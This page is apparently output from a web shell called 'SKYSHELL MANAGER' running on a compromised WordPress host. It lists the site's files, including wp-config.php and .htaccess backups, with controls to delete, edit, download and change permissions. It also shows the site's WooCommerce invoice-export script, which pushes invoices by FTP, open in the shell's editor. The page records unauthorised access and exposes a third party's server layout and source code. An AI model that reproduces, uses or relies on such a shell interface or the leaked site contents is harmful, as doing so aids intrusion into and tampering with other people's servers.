📁
SKYSHELL MANAGER
PHP v7.4.33
Create
Create
Path:
root
/
home
/
clients
/
24bc4cc68eb7a0f1b96eb8e8f40cae6e
/
web
/
libidon
/
Name
Size
Perm
Actions
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
31.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
4.13 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wordfence-waf.php
0.18 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.cc49b20506ecf56f8c26ad703ff17e51.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
mma-export-processing-invoices.php
8.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
mma-export-processing-invoices-dyn.php
33.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
0.4 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.bak_20260612_085256
4.14 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.bak_20260609_072555
0.55 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess
4.85 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: mma-export-processing-invoices.php
<?php /** * mma-export-process-invoices.php * * Endpoint d'export et de fusion des factures WooCommerce. * Genere 1 fichier PDF avec toutes les factures en cours de traitement, * le pousse en FTP sur Biotula. * * Necessite : * - le plugin woocommerce_pdf_invoices (fournit TCPDF) * - la lib FPDF (theme child : includes/fpdf_merge.php) pour la fusion * * Secrets externalises dans ~db/config.local.php. */ // ----------------------------------------------------------------------------- // Chargement des secrets — AVANT tout le reste, pour pouvoir rejeter // immediatement une requete sans code valide (sans bootstraper WP) // ----------------------------------------------------------------------------- $baseDir = substr(__DIR__, 0, strpos(__DIR__, '/', 20)); require_once "$baseDir/db/config.local.php"; if (!isset($_GET['code']) || $_GET['code'] != MMA_AUTH_CODE) { echo "ERROR CODE"; exit; } // ----------------------------------------------------------------------------- // Bootstrap WordPress // ----------------------------------------------------------------------------- if (!defined('ABSPATH')) { require_once('wp-load.php'); } // ----------------------------------------------------------------------------- // Helpers // ----------------------------------------------------------------------------- function deleteFiles($location) { // Supprime tous les .pdf du dossier courant $filesToDeleted = glob($location . '/*.pdf'); foreach ($filesToDeleted as $fileToDelete) { if (is_file($fileToDelete)) { unlink($fileToDelete); } } } // ----------------------------------------------------------------------------- // Preparation du dossier de sortie // ----------------------------------------------------------------------------- $upload_dir = wp_upload_dir(); $location = $upload_dir['basedir'] . '/' . 'woocommerce_pdf_invoices' . '/current'; if (!file_exists($location)) { mkdir($location, 0755, true); } deleteFiles($location); // ----------------------------------------------------------------------------- // Calcul de la fenetre temporelle (mode "va=ok" : blocage export pour MCO) // ----------------------------------------------------------------------------- if (isset($_GET['va']) && $_GET['va'] == "ok") { $date = new DateTime('now', new DateTimeZone('Europe/Paris')); $date19 = new DateTime(); $date19->setTime(19, 0, 0); $avant19 = $date < $date19; $d = date('Y-m-d H:i:s'); $dayofweek = date('w', strtotime($d)); switch ($dayofweek) { case 0: $delta = 2; break; // dimanche case 1: $delta = $avant19 ? 3 : 0; break; // lundi case 6: $delta = 1; break; // samedi default: $delta = $avant19 ? 1 : 0; } $date->setTime(9, 0, 0); $to = date('Y-m-d H:i:s', strtotime("- $delta day", strtotime(date_format($date, 'Y-m-d H:i:s')))); } else { $to = "2030-12-31"; } // ----------------------------------------------------------------------------- // Recuperation des commandes a facturer // ----------------------------------------------------------------------------- global $wpdb; $rows = $wpdb->get_results(" SELECT p.ID as order_id FROM " . $wpdb->prefix . "posts p WHERE 1=1 AND post_type = 'shop_order' AND post_status = 'wc-processing' AND post_date BETWEEN '2015-01-01' AND '$to' ORDER BY ID "); if ($wpdb->num_rows > 0) { // ------------------------------------------------------------------------- // Generation d'un PDF par facture // ------------------------------------------------------------------------- foreach ($rows as $row) { $order_id = $row->order_id; $pdf = new WooPDF(); $order = new WC_Order($order_id); if (!$order) { return; } if (!apply_filters('woo_pdf_generate_regular_invoice', true, $order)) { return; } $pdf->settings = array(); $pdf->opt = $pdf->get_options(); if (!$pdf->opt['woo_pdf_enabled']) { return; } if (!$pdf->image_library_exists()) { return; } // Chargement TCPDF + WooPdfInvoice (ancien et nouveau emplacement) if (!class_exists('TCPDF') && file_exists(WOOPDF_PLUGIN_PATH . 'libraries/tcpdf/tcpdf.php')) { require_once WOOPDF_PLUGIN_PATH . 'libraries/tcpdf/tcpdf.php'; } if (!class_exists('WooPdfInvoice') && file_exists(WOOPDF_PLUGIN_PATH . 'classes/woo-pdf-invoice.class.php')) { require_once WOOPDF_PLUGIN_PATH . 'classes/woo-pdf-invoice.class.php'; } if (!class_exists('TCPDF') && file_exists(WOOPDF_PLUGIN_PATH . '/includes/tcpdf/tcpdf.php')) { require_once WOOPDF_PLUGIN_PATH . '/includes/tcpdf/tcpdf.php'; } if (!class_exists('WooPdfInvoice') && file_exists(WOOPDF_PLUGIN_PATH . '/includes/woo-pdf-invoice.class.php')) { require_once WOOPDF_PLUGIN_PATH . '/includes/woo-pdf-invoice.class.php'; } // Numero de facture if ($pdf->opt['woo_pdf_numbering_method'] == 0) { $next_invoice_number = $pdf->get_next_invoice_number(); } else if ($pdf->opt['woo_pdf_numbering_method'] == 1) { $next_invoice_number = $order->get_order_number(); $next_invoice_number = preg_replace('/[^0-9.]+/', '', $next_invoice_number); } else { $next_invoice_number = $order->get_order_number(); } $random_name = substr(md5(time()), 0, 5) . substr($next_invoice_number, -3, 3); $file_name = $order_id . '.pdf'; if ($pdf->opt['woo_pdf_numbering_method'] == 2) { $invoice_number_prefix = ''; $invoice_number_suffix = ''; } else { $invoice_number_prefix = $pdf->replace_prefix_suffix_macros($pdf->opt['woo_pdf_number_prefix'], $order, 'prefix'); $invoice_number_suffix = $pdf->replace_prefix_suffix_macros($pdf->opt['woo_pdf_number_suffix'], $order, 'suffix'); } $info = array( 'id' => $next_invoice_number, 'code' => $random_name, 'prefix' => $invoice_number_prefix, 'suffix' => $invoice_number_suffix, ); $pdf = new WooPdfInvoice( array('order' => $order, 'options' => $pdf->opt, 'info' => $info, 'type' => 'invoice'), 'P', 'pt', 'A4' ); $pdf->CreateInvoice(); // Protection du dossier contre le listing if (!file_exists($location . '/index.php')) { touch($location . '/index.php'); } $filelocation = $location . '/' . $file_name; $pdf->Output($filelocation, 'F'); } // ------------------------------------------------------------------------- // Fusion de tous les PDFs en un seul // ------------------------------------------------------------------------- require_once get_stylesheet_directory() . "/includes/fpdf_merge.php"; $merge = new FPDF_Merge(); $filesToMerged = glob($location . '/*.pdf'); foreach ($filesToMerged as $key => $fileToMerged) { if (is_file($fileToMerged) && substr($fileToMerged, -3) != 'php') { $merge->add($fileToMerged); } } $destination_folder = $location; $output = $destination_folder . '/' . $wpdb->prefix . 'export-invoice-process.pdf'; $merge->output($output); // ------------------------------------------------------------------------- // Envoi FTP vers Biotula // ------------------------------------------------------------------------- $ftp_server = MMA_BIOTULA_FTP_HOST; $ftp_user_name = MMA_BIOTULA_FTP_USER; $ftp_user_pass = MMA_BIOTULA_FTP_PASS; $remote_file = 'web/tools/wp-content/uploads/invoices/processing-invoices' . date("Y-m-d-H-i-s") . '.pdf'; $conn_id = ftp_connect($ftp_server); $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass); if (ftp_put($conn_id, $remote_file, $output, FTP_BINARY)) { echo "OK"; deleteFiles($location); } else { echo "Il y a eu un probleme lors du chargement du fichier $output\n"; } ftp_close($conn_id); } else { echo "NO ORDERS"; }
Save